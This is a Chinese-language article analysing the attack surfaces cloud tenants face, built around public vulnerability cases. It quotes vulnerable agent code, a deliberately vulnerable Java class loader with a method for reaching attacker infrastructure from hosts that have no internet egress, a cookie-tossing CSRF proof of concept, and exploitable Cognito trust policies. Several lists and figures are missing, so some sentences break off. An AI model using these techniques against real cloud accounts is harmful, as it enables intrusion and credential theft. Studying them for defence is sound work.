注1:本文引用的实际案例均来自业界公开渠道。
注2:同一类云服务、功能在不同的云厂商可能叫法不同,例如AWS IAM和阿里云 RAM本质上是一个东西,本文默认使用AWS的定义。
按照笔者的理解,我们常谈的云安全实际包含了两大方面:云平台自身的安全,以及云上租户的安全。本文主要目的是探讨后者,也即企业上云后,相较于传统IDC等环境,作为云上租户面临的一些新攻击面。
不过云平台自身的安全是租户安全的基石,因此即便是探讨云上租户的安全,谈及云平台安全/云服务漏洞也是无可避免的。
在分析攻击面之前,需要先了解“云安全责任共担模型”,这是划分云厂商和租户责任边界的协议。
简单来说,不同类型的云服务有不同安全责任边界,例如IaaS类型的云服务,从操作系统开始都由租户自行负责,如果出了个系统漏洞,原则上需要由租户自行升级打补丁。
借用GCP的一张图(https://cloud.google.com/learn/paas-vs-iaas-vs-saas),对多种类型的云服务的责任边界进行了划分。
不过从笔者的经验来看,实际的安全责任边界并没有想象中的清晰:),会有一些模糊的地方。
这里笔者将云上租户面临的攻击面划分为三大块:
下面会对每一类攻击面展开说明,并引入1-3个案例或示例辅以分析。
常见的云服务漏洞类型包括:
但正如前面所提,本文探讨的核心是云上租户的安全,相较于云服务漏洞类型,更关心云服务漏洞如何影响租户。从这个角度出发,笔者粗暴地将云服务漏洞划分为两类:
资源实例:云服务为租户提供的最小资源单位,不同云服务各不相同,例如EC2是一台VM,EKS是一个K8s集群。
隔离是云安全的基石,但不同云服务为租户所提供的资源实例的隔离强度往往是不同的,即便是同一类型的云服务,出于资源利用率、部署成本、运管方式等各种因素的考量,隔离强度都可能大不相同。
根据笔者的经验,云服务资源实例的常见隔离方案,以及所对应打破隔离所需要的能力如下所示:
实际情况可能会比上图更复杂一些,但隔离强度的趋势是大致相同的,同一水平线上的隔离方案可能各有千秋,打破隔离的方式也有所不同。
来看两个来自微软Azure和谷歌GCP的案例:
PostgreSQL在9.3版本开始提供copy from program
语句,支持执行系统命令,而各大云厂商都通过对数据库用户降权的方式来做限制。
两个漏洞的过程其实是非常类似的,都先进行了数据库用户提权,然后再利用copy from program
获得了容器的权限,在GCP上甚至完成了容器逃逸,得到了宿主机的权限,但最终却只在Azure上完成了跨租户的攻击。核心区别就在于资源实例的隔离强度,Azure上并没有实施网络隔离。
这两个案例都是wiz团队公开的,近几年有多个安全团队针对不同云厂商的云数据库做了一系列的测试,以下是一些公开的案例:
在GCP的三个公开案例中,分别涉及GCP云数据库中的PostgreSQL、MySQL、SQL Server,但都没有出现直接跨租户的影响。
从案例中进一步分析GCP云数据库的部署方式和隔离方案,会发现GCP和其他云厂商最大的不同点在于:其他云厂商都是在K8s集群的基础上进行部署,数据库实例通过pod的形式提供,隔离方案也依赖于K8s的机制,而GCP虽然也通过容器来提供数据库实例,但上层似乎并没有使用K8s,每个租户的容器都部署在独立的VM,真正的隔离边界是在上层VM,并且在VM之间也进行了网络隔离。
似乎谷歌认为将容器作为云服务、至少是数据库这类高敏感云服务的隔离边界是不足的?
后面在Hacker news上面看到了一篇帖子:https://news.ycombinator.com/item?id=36086858,里面有一些声称为GCP员工或前员工的人的提到谷歌似乎特别认为容器边界并不安全,将数据库放入独立的VM也是服务演进的结果,这也从侧面印证了上述猜想。
当然,这里并不是完全否定通过容器来作为云服务资源实例的隔离边界,也无意拉踩各个云厂商(毕竟一类案例也很难有说服力,部分云服务会提供私有资源版本和公用资源版本,这可能也是差异点之一)。
笔者只是想强调隔离强度的重要性,不同云厂商在设计同类云服务的底层架构时并没有统一的标准,甚至同一个云厂商下的同类服务也大有不同,也很少有看到某个云服务明确声明自己提供了什么级别的隔离强度,这对云厂商和租户来说都是一个挑战:
集群被控制是管理面失陷最常见的场景,容器在云环境中被广泛使用,因此K8s这类容器编排服务事实上会充当某些云服务的"资源管理系统"。获得了K8s集群的权限,往往就相当于控制了云服务提供实例的底层计算资源。除此以外还有几类场景:
有云平台有两个典型的场景:
为了满足这两类场景,各个云服务厂商都有相关的方案。由于两个场景本质上都是一类"授权问题",因此很"巧合",大部分云服务厂商都设计了一套方案来同时解决两个场景:
在跨租户的场景,角色的实体是租户账号,我们很容易想到:如果租户A授权了租户B,一旦租户B的云凭据泄露了(有足够权限),那么攻击者就能顺藤摸瓜攻击租户A。
但创建一个实体是云服务的角色,这个动作背后的含义是什么呢?我们把代表云服务的实体也看作了一类特殊的租户账号,就很好理解了。这类账号也被IAM所管理,遵循IAM的规则,可以用这个账号的凭据来调用IAM的接口。也即:无论可信实体是AWS服务还是AWS账户,本质都是授权给某个租户账号,只不过AWS服务的账号是相对特殊的。
事实上也的确如此,本文将这类特殊的租户账号称为云服务内部账号(不同的云厂商可能叫法不同,但本质上应该是一样的)。当这类云服务内账号的凭据泄露了,就可以复用跨租户的攻击方式,例如利用云服务内部账号凭据通过AssumeRole API获取租户的临时凭据,进而攻击租户。
云服务内部账号一般有两个作用:
当高权限的内部账号凭据泄露,将直接影响所有使用了该云服务的租户。
云上的越权访问有两大类:
先来看一个普通越权的案例:
在介绍第二个案例前,需要了解一下"混淆代理人(confused deputy)"漏洞,详情可参考AWS官方说明:https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html
简单来说:代理人(被授权的账号)没有校验传入角色ARN是否和访问账号在同一租户下,导致攻击者(本无授权)可以欺骗代理人(有授权)以传入的角色(受害者创建,实体为对应代理人)进行操作。
AWS给的消减措施也很简单,就是在策略中增加一个external ID,代理人在代入角色时会将操作人的external ID附带上,IAM校验发现该ID不一致则会拒绝。
案例如下:
越权漏洞往往都朴实无华但又影响巨大,这里引用的都是跨租户的越权访问案例,租户内的越权有时综合利用也能产生很高的危害。
在讲解案例之前需要先介绍一下依赖混淆(dependency-confusion),该漏洞类型在2021年被Alex提出:https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
例如在Python中,当使用pip下载依赖时,如果使用了--extra-index-url
参数,那么除了从私有注册表寻找依赖外,还会从公共注册表(PyPI)中寻找依赖项。
此时如果攻击者在公共注册表(PyPI)上传了同名的依赖项(依赖项原本只存在与内部私有注册表),那么pip会选择版本号更高的依赖(如果是同版本,依然会优先选择公共注册表),这就导致了供应链攻击。
这个案例不太好用图表示,直接文字描述过程:
--extra-index-url
参数,如果依赖中使用了私有注册表,就相当于给用户引入了依赖混淆攻击的风险。App Engine、Cloud Function 和 Cloud Composer 三个服务的文档均有此类问题。google-cloud-datacatalog-lineage-producer-client
--extra-index-url
参数。非夸租户漏洞,实质上是“无法直接实现跨租户影响的漏洞”,这类漏洞往往只能在租户内实现“提权”的能力(这里的“提权”是广义上的,除了账号权限提升外,从一个集群的容器到控制整个集群也可以被看作是提权),要实际利用一般需要在目标租户内获得一个驻点,或者是依赖一些前置条件:例如租户配置,或者是用户点击等。
资源实例内的漏洞有各式各样的,此类漏洞往往是由于云服务的隔离边界较好,或是部署模式的原因,导致未能突破隔离,阻止了直接的跨租户影响。
对比FabricScape和前面的跨租户漏洞,其实会发现漏洞利用的过程非常相似,关键的区别只是在于“云服务的形态”,Azure Service Fabric是在租户环境内部署的,整个集群都属于一个租户。
但Azure Service Fabric本身也被其他的Azure云服务使用,试想这样一个场景:Azure中的X云服务是一个Serverless服务,用户使用时会分配一个容器,而X云服务本身使用了Azure Service Fabric部署其集群。
在这种场景下,攻击者在X云服务中利用FabricScape漏洞,就能直接产生跨租户的影响。
这其实也是云服务漏洞的利用的两种思路:
为VM或K8s集群提供日志采集、运维管理、安全防护等能力的云服务一般需要在租户的资源实例内安装一个Agent(进程/容器),由该Agent实现数据采集和上报、运维脚本执行等能力。
这类Agent往往需要以高权限运行,处理敏感的数据或指令。由此,攻击者也可以借用Agent的能力,实现本地提权、容器逃逸、敏感信息泄漏等攻击。
Agent在某些场景会创建一个全局可写的 sudoers 文件,代码如下:
// agent/session/utility/utility_unix.go:
func (u *SessionUtil) createSudoersFileIfNotPresent(log log.T) error {
// Return if the file exists
if _, err := os.Stat(sudoersFile); err == nil {
log.Infof("File %s already exists", sudoersFile)
_ = u.changeModeOfSudoersFile(log)
return err
}
// Create a sudoers file for ssm-user,default 0666
file, err := os.Create(sudoersFile)
if err != nil {
log.Errorf("Failed to add %s to sudoers file: %v", appconfig.DefaultRunAsUserName, err)
return err
}
defer file.Close()
if _, err := file.WriteString(fmt.Sprintf("# User rules for %s\n", appconfig.DefaultRunAsUserName)); err != nil {
return err
}
if _, err := file.WriteString(fmt.Sprintf("%s ALL=(ALL) NOPASSWD:ALL\n", appconfig.DefaultRunAsUserName)); err != nil {
return err
}
...
}
func (u *SessionUtil) changeModeOfSudoersFile(log log.T) error {
fileMode := os.FileMode(sudoersFileMode)
if err := os.Chmod(sudoersFile, fileMode); err != nil {
log.Errorf("Failed to change mode of %s to %d: %v",
sudoersFile, sudoersFileMode, err)
return err
}
log.Infof("Successfully changed mode of %s to %d", sudoersFile,
sudoersFileMode)
returnnil
}
...
这里就出现了一个条件竞争的问题,当sudoers创建后,修改文件权限前,普通用户也有权限写该文件。
虽然Agent类型漏洞的影响一般是非跨租户的,但实际影响还是取决于如何访问agent、漏洞能否远程利用、或者所泄漏的数据是否能影响到多个租户。
OMI是典型的前后端架构:
在omiAgent的架构中,负责接收omicli请求的进程是omiengine,它在校验omicli身份时出现了一个经典的致命错误。
static MI_Boolean _ListenerCallback(
Selector* sel,
Handler* handler_,
MI_Uint32 mask,
MI_Uint64 currentTimeUsec)
{
....
/* Create handler */
h = (Http_SR_SocketData*)Strand_New( STRAND_DEBUG( HttpSocket ) &_HttpSocket_FT, sizeof(Http_SR_SocketData), STRAND_FLAG_ENTERSTRAND, NULL );
if (!h)
{
trace_SocketClose_Http_SR_SocketDataAllocFailed();
HttpAuth_Close(handler_);
Sock_Close(s);
return MI_TRUE;
}
/* Primary refount -- secondary one is for posting to protocol thread safely */
h->refcount = 1;
h->http = self;
h->pAuthContext = NULL;
h->pVerifierCred = NULL;
h->isAuthorised = FALSE;
h->authFailed = FALSE; <--- (1)
h->encryptedTransaction = FALSE;
h->pSendAuthHeader = NULL;
h->sendAuthHeaderLen = 0;
....
}
typedef struct _Http_SR_SocketData {
....
/* Set true when auth has passed */
MI_Boolean isAuthorised;
/* Set true when auth has failed */
MI_Boolean authFailed;
/* Requestor information */
AuthInfo authInfo;
volatile ptrdiff_t refcount;
} Http_SR_SocketData;
typedef struct _AuthInfo
{
// Linux version
uid_t uid;
gid_t gid;
}
AuthInfo;
static Http_CallbackResult _ReadData(
Http_SR_SocketData* handler)
{
....
/* If we are authorised, but the client is sending an auth header, then
* we need to tear down all of the auth state and authorise again.
* NeedsReauthorization does the teardown
*/
if(handler->recvHeaders.authorization) <--- (1)
{
Http_CallbackResult authorized;
handler->requestIsBeingProcessed = MI_TRUE;
if (handler->isAuthorised)
{
Deauthorize(handler);
}
authorized = IsClientAuthorized(handler);
if (PRT_RETURN_FALSE == authorized)
{
goto Done;
}
else if (PRT_CONTINUE == authorized)
{
return PRT_CONTINUE;
}
}
else
{
/* Once we are unauthorised we remain unauthorised until the client
starts the auth process again */
if (handler->authFailed) <--- (2)
{
handler->httpErrorCode = HTTP_ERROR_CODE_UNAUTHORIZED;
return PRT_RETURN_FALSE;
}
}
r = Process_Authorized_Message(handler); <--- (3)
Done:
handler->recvPage = 0;
handler->receivedSize = 0;
memset(&handler->recvHeaders, 0, sizeof(handler->recvHeaders));
handler->recvingState = RECV_STATE_HEADER;
return PRT_CONTINUE;
}
虽然漏洞本身是一个PreAuth RCE漏洞,不过实际使用会有两种场景:
这一节引用的两个案例都利用了本地Agent的缺陷,另外通过劫持Agent和Server通信也是一种常见的攻击方式,例如:从流量获取敏感信息、或通过篡改流量完成提权等。
这些攻击方式实际上在在前文案例就有被利用,本节就不重复再拿出来分析了,例如在ChaosDB中通过劫持WireAgent的流量获得了大量的敏感凭据,具体参考https://www.wiz.io/blog/chaosdb-explained-azures-cosmos-db-vulnerability-walkthrough;在GCP Cloud SQL escape to host案例中,通过篡改Server向Agent发送的流量完成容器逃逸,具体参考:https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities。
云服务中也存在各类的oneclick漏洞:
本文更想分享一些相对独特的云上场景,因此上述的漏洞就不单独展开了,来看一个相对特别的案例:
https://ssh.cloud.google.com/cloudshell/editor?cloudshell_git_repo=http://path-to-repo/sample.git
open_in_editor=some_python_file.py
/bin/bash /google/devshell/editor/editor_exec.sh python -m pyls
538 stat("/home/wtm/supervisor", 0x7ffdf08e11e0) = -1 ENOENT (No such file or directory)
542 stat("/home/wtm/pyls", 0x7ffcbbf61a10) = -1 ENOENT (No such file or directory)
542 stat("/home/wtm/google", 0x7ffcbbf5fe00) = -1 ENOENT (No such file or directory)
高风险的云特性是云平台和租户责任边界的交界线,也是责任划分的灰色地带。这些特性往往是由于云平台或云服务的底层设计机制导致,尽管有时候为租户提供了便利性,但也默认扩大了租户的攻击面。
在前面“云服务内部账号凭据泄露”一节就有提到,由于跨云服务资源访问的需求,部分云服务会要求租户授予权限,用于访问租户上其他云服务的资源实例,这个授权是通过"创建实体为云服务的角色"来实现的。
在创建云服务资源实例时可以传入对应的角色(部分云服务是必须传入角色),在某些场景下,可以在资源实例中获得该角色对应的STS(临时凭据),该STS包含了授予云服务的权限。此时,控制了资源实例,就相当于得到了对应云服务角色的权限,由此就产生了一条天然的租户内提权路径。
这是最常见的一种场景,拥有iam:PassRole和虚拟机创建权限的用户,在创建虚拟机实例时可以指定一个服务角色(授予对象是虚拟机服务),之后在虚拟机中就能访问元数据服务获取对应角色的临时凭据。
"利用云服务角色进行提权"是漏洞还是高风险的特性?从公开案例来看,如下场景一般会被判定为漏洞:
相反,不被判定为漏洞的场景:iam:PassRole权限+用户自定义服务角色
云平台存在一个大内网供服务使用,默认所有资源实例都可以访问。这样很自然就会想到:如果某个VM本身没有绑定EIP,原本只能在vpc内访问,那能否通过平台内网IP来中转出网?答案是肯定的,这里通过阿里云的API网关服务来做一个示例。
在攻击者的租户上,创建一个API网关,并申请VPC内网域名,后端服务指向HTTP服务还是其他都不重要,关键是攻击者控制的即可。
在目标租户的VM上访问,这里的VM并没有绑定EIP,无法访问公网,但能通过内网域名访问到攻击者的机器。
如果你ping过这类内网域名,会发现解析的IP是100.x.x.x,这就是上面所说的云平台大内网。
利用这个机制可以打破网络隔离,可以让不出网的机器直接回连。除了C2外,在需要网络条件的漏洞利用也有很大的作用。
假设目标主机有如下一段漏洞代码:通过URLClassLoader来加载任意类,但目标主机不出网,没有绑定EIP,也没有NAT。
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class RemoteHTTPLoader {
public static void main(String[] args) throws Exception {
if(args.length != 2 ){
System.out.println("java RemoteHTTPLoader test http://url");
return;
}
loadClass(args[0],args[1]);
}
public static Class loadClass(String className,String url) throws MalformedURLException, ClassNotFoundException {
URL[] urls = {new URL(url)};
URLClassLoader cl = URLClassLoader.newInstance(urls);
Class clazz = Class.forName( className, true, cl );
return clazz;
}
}
只要将url设置为攻击者的API网关内网VPC域名就能完成利用。
这里只是使用API网关服务作为示例,关键还是平台大内网的机制,只要可以通过内网IP访问到攻击者租户控制的某个云上资源实例,理论上都能通过这种方式直接或间接出网。
在云环境中,有一些天然存在的API服务可从任意资源实例中访问,而这些API有可能会返回敏感信息,在一些场景中会发挥出巨大的威力:
这些API本身可能造成巨大的安全风险,但并非所有租户都能意识到API背后的隐患,因此笔者暂时将这一类API称为"隐式API",例如:
除了IMDS这种通用的隐式API,各个云厂商还会根据自身服务架构提供不同的隐式AP,例如Azure上的168.63.129.16。
各个云厂商独特的部分可能蕴含了更大的风险,像IMDS这种在过往几年已经被多次研究和提及,租户还是有一定意识的,并且云厂商也推出IMDSv2来进行缓解。
共享父域:云服务给租户分配一个子域名,例如API管理服务、对象存储等等。租户可以在该域名下执行任意JS代码,而不同租户分配的域名实际都有同一个父域,例如AWS API Gateway服务: https://{xxxxxx}.execute-api.eu-central-1.amazonaws.com。
使用共享父域会引入一些额外的风险:
在描述案例前,还有一些前置的知识需要了解:
案例:cookie-tossing-to-rce-on-google-cloud-jupyter-notebooks
<!-- https://attacker(randomId)-dot-us-west1.notebooks.googleusercontent.com/ -->
<html>
<form action="https://victim(randomId)-dot-us-west1.notebooks.googleusercontent.com/lab?authuser=1/lab/api/extensions?_xsrf=1" method="POST" enctype="text/plain">
<input type="hidden" name="any post data" />
<input type="submit" value="Submit request" />
</form>
<script type="text/javascript">
var base_domain = document.domain.substr(document.domain.indexOf('.'));
document.cookie='_xsrf=1;Domain='+base_domain;
console.log('done');
document.forms[0].submit();
</script>
</html>
针对大部分共享父域的风险,都可以通过PSL(Public Suffix List,公共后缀列表)来缓解,完整的 PSL 可以从这个地址获得:publicsuffix.org/list/public_suffix_list.dat,加入PSL的域名被看作公共资源,有如下特性:
传统环境中,运维系统一般部署在内网,通常需要打通多层网络隔离才能访问。
在云环境中,AKSK、STS等云凭据实质上充当了运维系统凭据,云服务API则充当了运维系统API,默认可从公网直接调用,也可以访问云平台内网的端点进行调用。同时STS在资源实例中广泛存在,加上不同云平台IAM能力的差异,让"隔离"难度大大增加。再结合公开的云服务API,就产生了五花八门的利用手段:
种种因素都大大降低了云凭据的利用条件和难度,个人经验来看,云凭据的管理和监控可能是企业上云面临的最大难题。
几乎所有云服务都可以看作一类特殊的租户:
因此理论上所有对租户的攻击技术,也能应用在攻击云服务上。
有时候要将“云服务A中非跨租户的漏洞”转化为“跨租户的影响”,最便捷的方式甚至就是找到使用云服务A的云服务B,然后在云服务B上应用该漏洞。并且这里面可能会产生更严重的连锁反应,因为不排除会有云服务C又用了云服务B...,而本身只用了云服务C的租户,也可能由于连锁反应而受到了直接影响。
由于租户不熟悉云服务的机制和配置引入的问题,公开案例中,错误云配置大部分都集中于两类服务:
虽然错误的云服务配置肯定不止这些,不过说到底,云服务的错误配置核心基本还是"访问控制、认证、授权",下面也以这两类服务作为代表来展开分析。
作为近年来数据泄露的常见载体,相信大家都对对象存储有所耳闻。
各个云厂商的对象存储服务在控制策略上都大差不差,这里借用华为云的一张图:https://support.huaweicloud.com/perms-cfg-obs/obs_40_0001.html
对象存储使用不当的常见场景包括:
这里想单独拿出来讲一下的是存储桶抢注的场景,今年在blackhat看到了一个议题《Breaching AWS Accounts Through Shadow Resources》
云服务为租户创建的S3存储桶(作者称为影子S3存储桶)名称是可以预测的(可以根据regionA推断出在regionB的影子S3存储桶名称),而不同region下的S3存储桶名称是唯一的,当攻击者知道了租户在regionA下影子S3存储桶的名称,即可抢注在regionB下相同名称的S3存储桶。当租户后续在regionB下首次使用该服务时,会直接用攻击者注册的同名存储桶(没有校验Bucket的属主)。
最终导致了租户创建自己的云服务资源实例时,却用了攻击者的存储桶来存放数据(具体用途取决于服务如何使用存储桶)。
实质上就是使用了存储桶抢注的攻击技术,只不过这次抢注的是云服务的存储桶。
AWS Cognito服务为用户开发的Web和移动应用程序提供身份认证和访问管理。该服务有两个核心概念:用户池和身份池,前者保存所有用户,后者将用户映射到AWS角色、访问租户的资源。当身份池配置错误,会让通过Cognito认证的用户、甚至是匿名用户来扮演租户的角色,从而获得租户的权限。
有安全研究员在2019年的时候发布了一个白皮书,对暴露到公网的AWS Cognito身份池进行大规模分析,结果:该研究确定了 2500 个身份池,有大量配置错误的身份池,可用于访问超过 13000 个 S3 非公开存储桶、1200 个 DynamoDB 表和 1500 个 Lambda 函数。原文:https://andresriancho.com/internet-scale-analysis-of-aws-cognito-security/
类似地,笔者打算介绍另外一个AWS云服务错误配置AWS Cognito的案例:AWS Amplify IAM role publicly assumable exposure,如果云厂商自身的服务都出现错误配置的情况,应该更能说明配置有不少坑点。
在描述漏洞成因前,需要先了解一下Cognito配置错误的场景,很幸运这个案例的原文对三类错误配置场景描述非常清晰,这里直接搬原文翻译一下。
场景一:未设置Condition
Amazon Cognito 有用户池(User pools)和身份池(Identity pools)两个概念,前者负责提供身份验证服务,后者的功能则是将某个用户身份映射到租户的IAM角色,允许租户授权经过身份验证的或匿名用户访问 AWS 资源。错误的身份池配置会导致租户IAM权限暴露给外部。
要实现IAM映射,Cognito 在 AWS 账户中创建一个角色,其角色信任策略类似如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:00000000-aaaa-1111-bbbb-222222222222"
},
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "authenticated"
}
}
}
]
}
这条策略的重点在于Condition部分,表明了只有经过了cognito身份认证且aud为us-east-1:00000000-aaaa-1111-bbbb-222222222222的用户才可以代入该角色。如果没有设置Condition,那意味着所有人都可以通过cognito服务来代码该角色(混淆代理人)。
为了承担角色信任策略配置错误的 IAM 角色,首先要说服 Cognito 服务代表调用者承担该角色。在大部分场景,这都是不允许的,例如在攻击者的身份池扮演其他账号配置错误的角色,会直接报错:
nick.frichette@host % aws cognito-identity set-identity-pool-roles \
--identity-pool-id us-east-1:11111111-aaaa-2222-bbbb-333333333333 \
--roles unauthenticated=arn:aws:iam::222222222222:role/role-in-different-aws-account
An error occurred (AccessDeniedException) when calling the SetIdentityPoolRoles operation: Cross-account pass role is not allowed.
但有另外一个方法可以绕过该限制,那就是用cognito Basic (classic) authflow(https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html),最后一步是sts:AssumeRoleWithWebIdentity API来获取指定角色的STS,在API参数中提供角色ARN,该API不会强制校验所提供的角色ARN是否归属当前租户。
因此,如果遇到了如下形式的配置错误配置(没有设置Condition,将允许任何 Cognito 身份池承担该角色):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity"
}
]
}
就可以在攻击者自己创建的Cognito身份池中调用sts:AssumeRoleWithWebIdentity API,并指定ARN为目标租户的角色ARN
场景二:Condition仅将amr设置为unauthenticated
另外一种错误的配置方式:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "unauthenticated"
}
}
}
]
}
该角色信任策略实际上和不设置Condition的结果是一样的,可以用相同的攻击方法。
这是因为由于IAM仅仅会将Condition与攻击者控制的身份池进行比较,因此只要从攻击控制的身份池拿出一个访客角色(未认证)即可完成利用。
场景三:Condition仅将amr设置为authenticated
和第二类场景是类似的,只配置cognito-identity.amazonaws.com:amr是不够的,因为IAM验证时并不会强制校验身份池的归属,除非在角色信任策略中设置cognito-identity.amazonaws.com:aud。只不过这种错误配置的利用方法多了一些步骤,需要先从攻击者的身份池中通过认证并拿到一个IdToken,错误配置的例子如下:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "authenticated"
}
}
}
]
}
回到"AWS Amplify IAM role publicly assumable exposure"漏洞:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "<Cognito Identity Pool Id>"
},
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "<authenticated || unauthenticated>"
}
}
}
]
}
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity"
}
]
}
这就是漏洞产生的原因,相当于如果添加了身份验证组件后又删除了,就会遗留一条不安全的配置,相当于上面的场景一。
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "authenticated",
}
}
}
]
}
每个攻击面其实都有不少的公开案例,本文挑选案例主要有两个考量:
因此如果发现部分云厂商的案例出现得更频繁,纯属巧合。
受制于篇幅的原因,本文对部分案例的技术细节没有完全展开,这些案例大都包含很多有意思的技术点和漏洞发现过程,推荐有兴趣的读者去阅读原文。
本文旨在从蓝军视角出发,以相对概括性的维度来分析企业上云后面临的新攻击面,但具体到某个云厂商或者是云服务,还有不少细枝末节各不相同,所谓魔鬼藏在细节里~
最后循例给出一些安全建议。
云厂商:
租户: